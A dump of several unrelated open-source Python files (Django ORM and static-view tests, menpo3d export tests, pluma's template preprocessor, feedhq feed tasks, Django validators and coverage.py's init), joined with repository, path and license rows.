'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications__in=[self.p1.id,self.p2]).distinct(),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications__in=[self.p1,self.p2]).distinct(),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
# Excluding a related item works as you would expect, too (although the SQL
# involved is a little complex).
self.assertQuerysetEqual(Article.objects.exclude(publications=self.p2),
['<Article: Django lets you build Web apps easily>'])
def test_reverse_selects(self):
# Reverse m2m queries are supported (i.e., starting at the table that
# doesn't have a ManyToManyField).
self.assertQuerysetEqual(Publication.objects.filter(id__exact=self.p1.id),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(Publication.objects.filter(pk=self.p1.id),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(
Publication.objects.filter(article__headline__startswith="NASA"),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
self.assertQuerysetEqual(Publication.objects.filter(article__id__exact=self.a1.id),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(Publication.objects.filter(article__pk=self.a1.id),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(Publication.objects.filter(article=self.a1.id),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(Publication.objects.filter(article=self.a1),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(
Publication.objects.filter(article__in=[self.a1.id,self.a2.id]).distinct(),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
self.assertQuerysetEqual(
Publication.objects.filter(article__in=[self.a1.id,self.a2]).distinct(),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
self.assertQuerysetEqual(
Publication.objects.filter(article__in=[self.a1,self.a2]).distinct(),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
def test_delete(self):
# If we delete a Publication, its Articles won't be able to access it.
self.p1.delete()
self.assertQuerysetEqual(Publication.objects.all(),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
])
self.assertQuerysetEqual(self.a1.publications.all(), [])
# If we delete an Article, its Publications won't be able to access it.
self.a2.delete()
self.assertQuerysetEqual(Article.objects.all(),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA finds intelligent life on Earth>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: Oxygen-free diet works wonders>',
])
def test_bulk_delete(self):
# Bulk delete some Publications - references to deleted publications should go
Publication.objects.filter(title__startswith='Science').delete()
self.assertQuerysetEqual(Publication.objects.all(),
[
'<Publication: Highlights for Children>',
'<Publication: The Python Journal>',
])
self.assertQuerysetEqual(Article.objects.all(),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(self.a2.publications.all(),
[
'<Publication: Highlights for Children>',
'<Publication: The Python Journal>',
])
# Bulk delete some articles - references to deleted objects should go
q = Article.objects.filter(headline__startswith='Django')
self.assertQuerysetEqual(q, ['<Article: Django lets you build Web apps easily>'])
q.delete()
# After the delete, the QuerySet cache needs to be cleared,
# and the referenced objects should be gone
self.assertQuerysetEqual(q, [])
self.assertQuerysetEqual(self.p1.article_set.all(),
['<Article: NASA uses Python>'])
def test_remove(self):
# Removing publication from an article:
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.a4.publications.remove(self.p2)
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(self.a4.publications.all(), [])
# And from the other end
self.p2.article_set.remove(self.a3)
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(self.a3.publications.all(), [])
def test_assign(self):
# Relation sets can be assigned. Assignment clears any existing set members
self.p2.article_set = [self.a4, self.a3]
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(self.a4.publications.all(),
['<Publication: Science News>'])
self.a4.publications = [self.p3.id]
self.assertQuerysetEqual(self.p2.article_set.all(),
['<Article: NASA finds intelligent life on Earth>'])
self.assertQuerysetEqual(self.a4.publications.all(),
['<Publication: Science Weekly>'])
# An alternate to calling clear() is to assign the empty set
self.p2.article_set = []
self.assertQuerysetEqual(self.p2.article_set.all(), [])
self.a4.publications = []
self.assertQuerysetEqual(self.a4.publications.all(), [])
def test_assign_ids(self):
# Relation sets can also be set using primary key values
self.p2.article_set = [self.a4.id, self.a3.id]
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(self.a4.publications.all(),
['<Publication: Science News>'])
self.a4.publications = [self.p3.id]
self.assertQuerysetEqual(self.p2.article_set.all(),
['<Article: NASA finds intelligent life on Earth>'])
self.assertQuerysetEqual(self.a4.publications.all(),
['<Publication: Science Weekly>'])
def test_clear(self):
# Relation sets can be cleared:
self.p2.article_set.clear()
self.assertQuerysetEqual(self.p2.article_set.all(), [])
self.assertQuerysetEqual(self.a4.publications.all(), [])
# And you can clear from the other end
self.p2.article_set.add(self.a3, self.a4)
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(self.a4.publications.all(),
[
'<Publication: Science News>',
])
self.a4.publications.clear()
self.assertQuerysetEqual(self.a4.publications.all(), [])
self.assertQuerysetEqual(self.p2.article_set.all(),
['<Article: NASA finds intelligent life on Earth>'])
| agpl-3.0 |
grigorisg9gr/menpo3d | menpo3d/io/test/io_export_test.py | 3 | 2647 | import contextlib
import os
import tempfile
from mock import patch, PropertyMock, MagicMock
import menpo3d.io as mio
test_obj = mio.import_builtin_asset('james.obj')
test_lg = mio.import_landmark_file(mio.data_path_to('bunny.ljson'))
@contextlib.contextmanager
def _temporary_path(extension):
# Create a temporary file and remove it
fake_path = tempfile.NamedTemporaryFile(delete=False, suffix=extension)
fake_path.close()
fake_path = fake_path.name
os.unlink(fake_path)
yield fake_path
if os.path.exists(fake_path):
os.unlink(fake_path)
@patch('menpo3d.io.output.base.Path.exists')
@patch('{}.open'.format(__name__), create=True)
def test_export_mesh_obj(mock_open, exists):
exists.return_value = False
fake_path = '/fake/fake.obj'
with open(fake_path) as f:
type(f).name = PropertyMock(return_value=fake_path)
mio.export_mesh(test_obj, f, extension='obj')
def test_export_mesh_ply_ascii():
with _temporary_path('.ply') as f:
mio.export_mesh(test_obj, f)
assert os.path.exists(f)
def test_export_mesh_ply_binary():
with _temporary_path('.ply') as f:
mio.export_mesh(test_obj, f, binary=True)
assert os.path.exists(f)
@patch('PIL.Image.EXTENSION')
@patch('menpo.image.base.PILImage')
@patch('menpo3d.io.output.base.Path.exists')
@patch('menpo.io.output.base.Path.open')
def test_export_mesh_obj_textured(mock_open, exists, PILImage, PIL):
PIL.return_value.Image.EXTENSION = {'.jpg': None}
exists.return_value = False
mock_open.return_value = MagicMock()
fake_path = '/fake/fake.obj'
mio.export_textured_mesh(test_obj, fake_path, extension='obj')
assert PILImage.fromarray.called
@patch('PIL.Image.EXTENSION')
@patch('menpo.image.base.PILImage')
@patch('menpo3d.io.output.base.Path.exists')
@patch('menpo.io.output.base.Path.open')
def test_export_mesh_ply_textured(mock_open, exists, PILImage, PIL):
PIL.return_value.Image.EXTENSION = {'.jpg': None}
exists.return_value = False
mock_open.return_value = MagicMock()
with _temporary_path('.ply') as f:
mio.export_textured_mesh(test_obj, f)
assert PILImage.fromarray.called
@patch('menpo.io.output.landmark.json.dump')
@patch('menpo3d.io.output.base.Path.exists')
@patch('{}.open'.format(__name__), create=True)
def test_export_landmark_ljson(mock_open, exists, json_dump):
exists.return_value = False
fake_path = '/fake/fake.ljson'
with open(fake_path) as f:
type(f).name = PropertyMock(return_value=fake_path)
mio.export_landmark_file(test_lg, f, extension='ljson')
assert json_dump.called
| bsd-3-clause |
dfunckt/django | tests/view_tests/tests/test_static.py | 7 | 5610 | from __future__ import unicode_literals
import mimetypes
import unittest
from os import path
from django.conf.urls.static import static
from django.http import FileResponse, HttpResponseNotModified
from django.test import SimpleTestCase, override_settings
from django.utils.http import http_date
from django.views.static import was_modified_since
from .. import urls
from ..urls import media_dir
@override_settings(DEBUG=True, ROOT_URLCONF='view_tests.urls')
class StaticTests(SimpleTestCase):
"""Tests django views in django/views/static.py"""
prefix = 'site_media'
def test_serve(self):
"The static view can serve static media"
media_files = ['file.txt', 'file.txt.gz']
for filename in media_files:
response = self.client.get('/%s/%s' % (self.prefix, filename))
response_content = b''.join(response)
file_path = path.join(media_dir, filename)
with open(file_path, 'rb') as fp:
self.assertEqual(fp.read(), response_content)
self.assertEqual(len(response_content), int(response['Content-Length']))
self.assertEqual(mimetypes.guess_type(file_path)[1], response.get('Content-Encoding', None))
def test_chunked(self):
"The static view should stream files in chunks to avoid large memory usage"
response = self.client.get('/%s/%s' % (self.prefix, 'long-line.txt'))
first_chunk = next(response.streaming_content)
self.assertEqual(len(first_chunk), FileResponse.block_size)
second_chunk = next(response.streaming_content)
response.close()
# strip() to prevent OS line endings from causing differences
self.assertEqual(len(second_chunk.strip()), 1449)
def test_unknown_mime_type(self):
response = self.client.get('/%s/file.unknown' % self.prefix)
self.assertEqual('application/octet-stream', response['Content-Type'])
response.close()
def test_copes_with_empty_path_component(self):
file_name = 'file.txt'
response = self.client.get('/%s//%s' % (self.prefix, file_name))
response_content = b''.join(response)
with open(path.join(media_dir, file_name), 'rb') as fp:
self.assertEqual(fp.read(), response_content)
def test_is_modified_since(self):
file_name = 'file.txt'
response = self.client.get(
'/%s/%s' % (self.prefix, file_name),
HTTP_IF_MODIFIED_SINCE='Thu, 1 Jan 1970 00:00:00 GMT'
)
response_content = b''.join(response)
with open(path.join(media_dir, file_name), 'rb') as fp:
self.assertEqual(fp.read(), response_content)
def test_not_modified_since(self):
file_name = 'file.txt'
response = self.client.get(
'/%s/%s' % (self.prefix, file_name),
HTTP_IF_MODIFIED_SINCE='Mon, 18 Jan 2038 05:14:07 GMT'
# This is 24h before max Unix time. Remember to fix Django and
# update this test well before 2038 :)
)
self.assertIsInstance(response, HttpResponseNotModified)
def test_invalid_if_modified_since(self):
"""Handle bogus If-Modified-Since values gracefully
Assume that a file is modified since an invalid timestamp as per RFC
2616, section 14.25.
"""
file_name = 'file.txt'
invalid_date = 'Mon, 28 May 999999999999 28:25:26 GMT'
response = self.client.get('/%s/%s' % (self.prefix, file_name),
HTTP_IF_MODIFIED_SINCE=invalid_date)
response_content = b''.join(response)
with open(path.join(media_dir, file_name), 'rb') as fp:
self.assertEqual(fp.read(), response_content)
self.assertEqual(len(response_content), int(response['Content-Length']))
def test_invalid_if_modified_since2(self):
"""Handle even more bogus If-Modified-Since values gracefully
Assume that a file is modified since an invalid timestamp as per RFC
2616, section 14.25.
"""
file_name = 'file.txt'
invalid_date = ': 1291108438, Wed, 20 Oct 2010 14:05:00 GMT'
response = self.client.get('/%s/%s' % (self.prefix, file_name),
HTTP_IF_MODIFIED_SINCE=invalid_date)
response_content = b''.join(response)
with open(path.join(media_dir, file_name), 'rb') as fp:
self.assertEqual(fp.read(), response_content)
self.assertEqual(len(response_content), int(response['Content-Length']))
def test_404(self):
response = self.client.get('/%s/non_existing_resource' % self.prefix)
self.assertEqual(404, response.status_code)
def test_index(self):
response = self.client.get('/%s/' % self.prefix)
self.assertContains(response, 'Index of /')
class StaticHelperTest(StaticTests):
"""
Test case to make sure the static URL pattern helper works as expected
"""
def setUp(self):
super(StaticHelperTest, self).setUp()
self._old_views_urlpatterns = urls.urlpatterns[:]
urls.urlpatterns += static('/media/', document_root=media_dir)
def tearDown(self):
super(StaticHelperTest, self).tearDown()
urls.urlpatterns = self._old_views_urlpatterns
class StaticUtilsTests(unittest.TestCase):
def test_was_modified_since_fp(self):
"""
A floating point mtime does not disturb was_modified_since (#18675).
"""
mtime = 1343416141.107817
header = http_date(mtime)
self.assertFalse(was_modified_since(header, mtime))
| bsd-3-clause |
mate-desktop/pluma | tools/preprocessor.py | 1 | 5353 | # -*- coding: utf-8 -*-
# preprocessor.py - simple preprocessor for plugin template files
# This file is part of pluma
#
# Copyright (C) 2006 - Steve Frécinaux
# Copyright (C) 2012-2021 MATE Developers
#
# pluma is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# pluma is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with pluma; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor,
# Boston, MA 02110-1301 USA
import sys
import re
class DeepnessException(Exception):
def __init__(self):
Exception.__init__(self)
statements = [re.compile("^##\s*%s\s*$" % pattern) for pattern in
['(?P<stmt>ifdef|ifndef)\s+(?P<key>[^\s]+)',
'(?P<stmt>elif|if)\s+(?P<expr>.+)',
'(?P<stmt>else|endif)',
'(?P<stmt>define)\s+(?P<key>[^\s]+)(\s+(?P<val>.+))?',
'(?P<stmt>undef)\s+(?P<key>[^\s]+)']]
variable = re.compile("##\((?P<name>[a-zA-Z_][a-zA-Z0-9_]*)(?P<mods>(\.[a-z]+)+)?\)")
def _eval(expr, macros):
return eval(expr,
{'defined': lambda x: macros.has_key(x)},
macros)
def _subvar(match, macros):
name = match.group('name')
if name in macros:
val = str(macros[name])
if val is None:
return ''
else:
return ''
mods = match.group('mods')
if mods is not None:
for mod in mods[1:].split('.'):
if mod == 'lower':
val = val.lower()
elif mod == 'upper':
val = val.upper()
elif mod == 'camel':
val = ''.join(i.capitalize()
for i in val.split('_'))
return val
def process(infile = sys.stdin, outfile = sys.stdout, macros = {}):
if not isinstance(infile, file):
infile = open(infile, mode = 'r')
close_infile = True
else:
close_infile = False
if not isinstance(outfile, file):
outfile = open(outfile, mode = 'w')
close_outfile = True
else:
close_outfile = False
deepness = 0
writing_disabled = None
for line in infile:
# Skip comments
if line[0:3].lower() == '##c':
continue
# Check whether current line is a preprocessor directive
for statement in statements:
match = statement.match(line)
if match: break
if match is not None:
stmt = match.group('stmt')
if stmt == "define":
if writing_disabled is None:
key = match.group('key')
val = match.group('val')
macros[key] = val
elif stmt == "undef":
if writing_disabled is None:
key = match.group('key')
if key in macros:
del macros[key]
elif stmt == "ifdef":
deepness += 1
if writing_disabled is None and \
match.group('key') not in macros:
writing_disabled = deepness
elif stmt == "ifndef":
deepness += 1
if writing_disabled is None and \
match.group('key') in macros:
writing_disabled = deepness
elif stmt == "if":
deepness += 1
if writing_disabled is None and \
not _eval(match.group('expr'), macros):
writing_disabled = deepness
elif stmt == "elif":
if deepness == 0:
raise DeepnessException()
if writing_disabled is None and \
not _eval(match.group('expr'), macros):
writing_disabled = deepness
elif writing_disabled == deepness:
writing_disabled = None
elif stmt == "else":
if deepness == 0:
raise DeepnessException()
if writing_disabled is None:
writing_disabled = deepness
elif writing_disabled == deepness:
writing_disabled = None
elif stmt == "endif":
if deepness == 0:
raise DeepnessException()
if writing_disabled is not None and \
writing_disabled == deepness:
writing_disabled = None
deepness -= 1
# Do variable substitution in the remaining lines
elif writing_disabled is None:
outfile.write(re.sub(variable,
lambda m: _subvar(m, macros),
line))
if deepness != 0:
raise DeepnessException()
if close_infile: infile.close()
if close_outfile: outfile.close()
# ex:ts=4:et:
| gpl-2.0 |
feedhq/feedhq | feedhq/feeds/tasks.py | 1 | 8652 | from collections import defaultdict
from datetime import timedelta
import requests
import structlog
from django.conf import settings
from django.utils import timezone
from django_push.subscriber.models import Subscription, SubscriptionError
from rache import schedule_job
from requests.exceptions import MissingSchema
from rq.timeouts import JobTimeoutException
from .. import es
from ..profiles.models import User
from ..utils import get_redis_connection
logger = structlog.get_logger(__name__)
# TODO remove unused request_timeout
def update_feed(url, etag=None, modified=None, subscribers=1,
request_timeout=10, backoff_factor=1, error=None, link=None,
title=None, hub=None):
from .models import UniqueFeed
try:
UniqueFeed.objects.update_feed(
url, etag=etag, last_modified=modified, subscribers=subscribers,
backoff_factor=backoff_factor, previous_error=error, link=link,
title=title, hub=hub)
except JobTimeoutException:
backoff_factor = min(UniqueFeed.MAX_BACKOFF,
backoff_factor + 1)
logger.info("job timed out, backing off",
url=url, backoff_factor=backoff_factor)
schedule_job(url, schedule_in=UniqueFeed.delay(backoff_factor),
backoff_factor=backoff_factor,
connection=get_redis_connection())
except BaseException as e:
logger.info("fatal job exception", url=url, exc_info=e)
raise
def read_later(user_id, entry_pk):
user = User.objects.get(pk=user_id)
entry = es.entry(user, entry_pk, annotate_results=False)
entry.user = user
entry.read_later()
def update_favicon(feed_url, force_update=False):
from .models import Favicon
Favicon.objects.update_favicon(feed_url, force_update=force_update)
def ensure_subscribed(topic_url, hub_url):
"""Makes sure the PubSubHubbub subscription is verified"""
if settings.TESTS:
if str(type(requests.post)) != "<class 'unittest.mock.MagicMock'>":
raise ValueError("Not Mocked")
if hub_url is None:
return
log = logger.bind(topic_url=topic_url, hub_url=hub_url)
call, args = None, ()
try:
s = Subscription.objects.get(topic=topic_url, hub=hub_url)
except Subscription.DoesNotExist:
log.info("subscribing")
call = Subscription.objects.subscribe
args = topic_url, hub_url
else:
if (
not s.verified or
s.lease_expiration < timezone.now() + timedelta(days=1)
):
log.info("renewing subscription", subscription=s.pk)
call = s.subscribe
if call is not None:
try:
call(*args)
except SubscriptionError as e:
log.info("subscription error", exc_info=e)
except MissingSchema:
pass
def should_skip(date, ttl):
delta = timedelta(days=ttl)
return date + delta < timezone.now()
def store_entries(feed_url, entries):
from .models import Entry, Feed
feeds = Feed.objects.select_related('user').filter(
url=feed_url, user__is_suspended=False).values('pk', 'user_id',
'category_id',
'user__ttl')
guids = set([entry['guid'] for entry in entries])
es_query = [{'or': [{'term': {'feed': feed['pk']}} for feed in feeds]}]
# When we have dates, filter the query to avoid returning the whole dataset
date_generated = any([e.pop('date_generated') for e in entries])
if not date_generated:
earliest = min([entry['date'] for entry in entries])
limit = earliest - timedelta(days=1)
es_query.append({'range': {'timestamp': {'gt': limit}}})
filter_by_title = len(guids) == 1 and len(entries) > 1
if filter_by_title:
# All items have the same guid. Query by title instead.
titles = set([entry['title'] for entry in entries])
es_query.append({'or': [{'term': {'raw_title': t}} for t in titles]})
else:
es_query.append({'or': [{'term': {'guid': g}} for g in guids]})
existing = None
indices = []
for feed in feeds:
indices.append(es.user_alias(feed['user_id']))
if indices:
es.wait_for_yellow()
# Make sure guid and raw_title are not analyzed before querying
# anything. Otherwise existing entries are never matched and things
# keep being inserted.
mappings = es.client.indices.get_field_mapping(index=",".join(indices),
doc_type='entries',
field='guid,raw_title')
for mapping in mappings.values():
mapping = mapping['mappings']['entries']
for f in ['raw_title', 'guid']:
assert mapping[f]['mapping'][f]['index'] == 'not_analyzed'
existing_es = es.client.search(
index=",".join(indices),
doc_type='entries',
body={
'aggs': {
'existing': {
'filter': {'and': es_query},
'aggs': {
'feeds': {
'terms': {'field': 'feed', 'size': 0},
'aggs': {
'guids': {'terms': {'field': 'guid',
'size': 0}},
'titles': {'terms': {'field': 'raw_title',
'size': 0}},
},
},
},
},
},
},
)
existing_es = existing_es[
'aggregations']['existing']['feeds']['buckets']
else:
existing_es = []
existing_guids = defaultdict(set)
existing_titles = defaultdict(set)
if existing is not None:
for entry in existing:
existing_guids[entry['feed_id']].add(entry['guid'])
if filter_by_title:
existing_titles[entry['feed_id']].add(entry['title'])
existing_es_guids = defaultdict(set)
existing_es_titles = defaultdict(set)
for bucket in existing_es:
for sub in bucket['guids']['buckets']:
existing_es_guids[bucket['key']].add(sub['key'])
if filter_by_title:
for sub in bucket['titles']['buckets']:
existing_es_titles[bucket['key']].add(sub['key'])
ops = []
refresh_updates = defaultdict(list)
for feed in feeds:
seen_guids = set()
seen_titles = set()
for entry in entries:
if (
not filter_by_title and
entry['guid'] in existing_es_guids[feed['pk']]
):
continue
if (
filter_by_title and
entry['title'] in existing_es_titles[feed['pk']]
):
continue
if (
feed['user__ttl'] and
should_skip(entry['date'], feed['user__ttl'])
):
continue
if filter_by_title and entry['title'] in seen_titles:
continue
seen_titles.add(entry['title'])
if not filter_by_title and entry['guid'] in seen_guids:
continue
seen_guids.add(entry['guid'])
data = Entry(**entry).serialize()
data['category'] = feed['category_id']
data['feed'] = feed['pk']
data['_id'] = es.next_id()
data['id'] = data['_id']
data['_type'] = 'entries'
data['user'] = feed['user_id']
data['_index'] = settings.ES_INDEX
ops.append(data)
refresh_updates[feed['user_id']].append(entry['date'])
if ops:
es.bulk(ops, raise_on_error=True)
if settings.TESTS:
# Indices are refreshed asynchronously. Refresh immediately
# during tests.
indices = ",".join(set([doc['_index'] for doc in ops]))
es.client.indices.refresh(indices)
redis = get_redis_connection()
for user_id, dates in refresh_updates.items():
user = User(pk=user_id)
new_score = float(max(dates).strftime('%s'))
current_score = redis.zscore(user.last_update_key, feed_url) or 0
if new_score > current_score:
redis.zadd(user.last_update_key, feed_url, new_score)
| bsd-3-clause |
petteyg/intellij-community | python/lib/Lib/site-packages/django/core/validators.py | 158 | 6583 | import re
import urlparse
from django.core.exceptions import ValidationError
from django.utils.translation import ugettext_lazy as _
from django.utils.encoding import smart_unicode
# These values, if given to validate(), will trigger the self.required check.
EMPTY_VALUES = (None, '', [], (), {})
try:
from django.conf import settings
URL_VALIDATOR_USER_AGENT = settings.URL_VALIDATOR_USER_AGENT
except ImportError:
# It's OK if Django settings aren't configured.
URL_VALIDATOR_USER_AGENT = 'Django (http://www.djangoproject.com/)'
class RegexValidator(object):
regex = ''
message = _(u'Enter a valid value.')
code = 'invalid'
def __init__(self, regex=None, message=None, code=None):
if regex is not None:
self.regex = regex
if message is not None:
self.message = message
if code is not None:
self.code = code
if isinstance(self.regex, basestring):
self.regex = re.compile(regex)
def __call__(self, value):
"""
Validates that the input matches the regular expression.
"""
if not self.regex.search(smart_unicode(value)):
raise ValidationError(self.message, code=self.code)
class URLValidator(RegexValidator):
regex = re.compile(
r'^https?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|' #domain...
r'localhost|' #localhost...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
def __init__(self, verify_exists=False, validator_user_agent=URL_VALIDATOR_USER_AGENT):
super(URLValidator, self).__init__()
self.verify_exists = verify_exists
self.user_agent = validator_user_agent
def __call__(self, value):
try:
super(URLValidator, self).__call__(value)
except ValidationError, e:
# Trivial case failed. Try for possible IDN domain
if value:
value = smart_unicode(value)
scheme, netloc, path, query, fragment = urlparse.urlsplit(value)
try:
netloc = netloc.encode('idna') # IDN -> ACE
except UnicodeError: # invalid domain part
raise e
url = urlparse.urlunsplit((scheme, netloc, path, query, fragment))
super(URLValidator, self).__call__(url)
else:
raise
else:
url = value
if self.verify_exists:
import urllib2
headers = {
"Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
"Accept-Language": "en-us,en;q=0.5",
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Connection": "close",
"User-Agent": self.user_agent,
}
try:
req = urllib2.Request(url, None, headers)
u = urllib2.urlopen(req)
except ValueError:
raise ValidationError(_(u'Enter a valid URL.'), code='invalid')
except: # urllib2.URLError, httplib.InvalidURL, etc.
raise ValidationError(_(u'This URL appears to be a broken link.'), code='invalid_link')
def validate_integer(value):
try:
int(value)
except (ValueError, TypeError), e:
raise ValidationError('')
class EmailValidator(RegexValidator):
def __call__(self, value):
try:
super(EmailValidator, self).__call__(value)
except ValidationError, e:
# Trivial case failed. Try for possible IDN domain-part
if value and u'@' in value:
parts = value.split(u'@')
domain_part = parts[-1]
try:
parts[-1] = parts[-1].encode('idna')
except UnicodeError:
raise e
super(EmailValidator, self).__call__(u'@'.join(parts))
else:
raise
email_re = re.compile(
r"(^[-!#$%&'*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9A-Z]+)*" # dot-atom
r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-011\013\014\016-\177])*"' # quoted-string
r')@(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?$', re.IGNORECASE) # domain
validate_email = EmailValidator(email_re, _(u'Enter a valid e-mail address.'), 'invalid')
slug_re = re.compile(r'^[-\w]+$')
validate_slug = RegexValidator(slug_re, _(u"Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens."), 'invalid')
ipv4_re = re.compile(r'^(25[0-5]|2[0-4]\d|[0-1]?\d?\d)(\.(25[0-5]|2[0-4]\d|[0-1]?\d?\d)){3}$')
validate_ipv4_address = RegexValidator(ipv4_re, _(u'Enter a valid IPv4 address.'), 'invalid')
comma_separated_int_list_re = re.compile('^[\d,]+$')
validate_comma_separated_integer_list = RegexValidator(comma_separated_int_list_re, _(u'Enter only digits separated by commas.'), 'invalid')
class BaseValidator(object):
compare = lambda self, a, b: a is not b
clean = lambda self, x: x
message = _(u'Ensure this value is %(limit_value)s (it is %(show_value)s).')
code = 'limit_value'
def __init__(self, limit_value):
self.limit_value = limit_value
def __call__(self, value):
cleaned = self.clean(value)
params = {'limit_value': self.limit_value, 'show_value': cleaned}
if self.compare(cleaned, self.limit_value):
raise ValidationError(
self.message % params,
code=self.code,
params=params,
)
class MaxValueValidator(BaseValidator):
compare = lambda self, a, b: a > b
message = _(u'Ensure this value is less than or equal to %(limit_value)s.')
code = 'max_value'
class MinValueValidator(BaseValidator):
compare = lambda self, a, b: a < b
message = _(u'Ensure this value is greater than or equal to %(limit_value)s.')
code = 'min_value'
class MinLengthValidator(BaseValidator):
compare = lambda self, a, b: a < b
clean = lambda self, x: len(x)
message = _(u'Ensure this value has at least %(limit_value)d characters (it has %(show_value)d).')
code = 'min_length'
class MaxLengthValidator(BaseValidator):
compare = lambda self, a, b: a > b
clean = lambda self, x: len(x)
message = _(u'Ensure this value has at most %(limit_value)d characters (it has %(show_value)d).')
code = 'max_length'
| apache-2.0 |
PeterWangIntel/blink-crosswalk | Tools/Scripts/webkitpy/thirdparty/coverage/__init__.py | 64 | 3417 | """Code coverage measurement for Python.
Ned Batchelder
http://nedbatchelder.com/code/coverage
"""
__version__ = "3.5.1" # see detailed history in CHANGES.txt
__url__ = "http://nedbatchelder.com/code/coverage"
if max(__version__).isalpha():
# For pre-releases, use a version-specific URL.
__url__ += "/" + __version__
from coverage.control import coverage, process_startup
from coverage.data import CoverageData
from coverage.cmdline import main, CoverageScript
from coverage.misc import CoverageException
# Module-level functions. The original API to this module was based on
# functions defined directly in the module, with a singleton of the coverage()
# class. That design hampered programmability, so the current api uses
# explicitly-created coverage objects. But for backward compatibility, here we
# define the top-level functions to create the singleton when they are first
# called.
# Singleton object for use with module-level functions. The singleton is
# created as needed when one of the module-level functions is called.
_the_coverage = None
def _singleton_method(name):
"""Return a function to the `name` method on a singleton `coverage` object.
The singleton object is created the first time one of these functions is
called.
"""
def wrapper(*args, **kwargs):
"""Singleton wrapper around a coverage method."""
global _the_coverage
if not _the_coverage:
_the_coverage = coverage(auto_data=True)
return getattr(_the_coverage, name)(*args, **kwargs)
return wrapper
# Define the module-level functions.
use_cache = _singleton_method('use_cache')
start = _singleton_method('start')
stop = _singleton_method('stop')
erase = _singleton_method('erase')
exclude = _singleton_method('exclude')
analysis = _singleton_method('analysis')
analysis2 = _singleton_method('analysis2')
report = _singleton_method('report')
annotate = _singleton_method('annotate')
# COPYRIGHT AND LICENSE
#
# Copyright 2001 Gareth Rees. All rights reserved.
# Copyright 2004-2010 Ned Batchelder. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the
# distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# HOLDERS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
